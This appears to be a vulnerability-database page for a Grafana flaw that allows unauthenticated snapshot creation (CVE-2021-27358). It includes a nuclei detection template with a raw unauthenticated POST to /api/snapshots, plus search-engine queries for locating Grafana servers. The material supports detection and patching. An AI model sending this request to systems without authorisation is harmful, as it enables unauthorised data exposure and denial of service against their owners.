HexBrain

Browse / CVEs / CVE-2021-27358

CVE-2021-27358· grafana / grafana· CWE-306

Grafana Unauthenticated Snapshot Creation

highseverity
7.5CVSS score
83%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.

Impact

An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.

Fix

Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.

How to confirm it

Send: POST /api/snapshots
Positive when: contains "\"deleteUrl\":" and "\"deleteKey\":" AND contains in header "application/json"

Run it with nuclei: nuclei -id CVE-2021-27358 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-27358

info:
  name: Grafana Unauthenticated Snapshot Creation
  author: pdteam,bing0o
  severity: high
  description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
  impact: |
    An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
  remediation: |
    Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
  reference:
    - https://phabricator.wikimedia.org/T274736
    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27358
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2021-27358
    cwe-id: CWE-306
    epss-score: 0.83042
    epss-percentile: 0.99677
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,grafana,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from